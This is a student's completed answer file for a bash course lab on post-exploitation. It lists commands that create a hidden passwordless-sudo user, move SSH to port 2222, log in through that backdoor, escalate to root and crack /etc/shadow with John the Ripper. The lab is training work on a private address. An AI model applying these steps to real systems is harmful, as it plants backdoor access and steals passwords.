Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
[sudo useradd -r -s /bin/false sysd]
```

2. Give your secret user a password.

```
[sudo passwd sysd]
```

3. Give your secret user a system UID < 1000.

```
[sudo usermod -u 777 sysd]
```

4. Give your secret user the same GID.

```
[sudo groupmod -g 777 sysd]
```

5. Give your secret user full `sudo` access without the need for a password.

```
[sudo visudo
 sysd ALL=(ALL:ALL) NOPASSWD:ALL]
```

6. Test that sudo access works without your password.

```
[su sysd
 sudo ls /root]
```

Step 2: Smooth Sailing

1. Edit the sshd_config file.

```
[sudo nano /etc/ssh/sshd_config
 Port 2222]
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
[sudo systemctl restart ssh]
```

2. Exit the root account.

```
[exit]
```

3. SSH to the target machine using your sysd account and port 2222.

```
[ssh sysd@192.168.6.105 -p 2222]
```

4. Use sudo to switch to the root user.

```
[sudo su root]
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
[ssh sysd@192.168.6.105 -p 2222]
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
[sudo su root
 john /etc/shadow]
```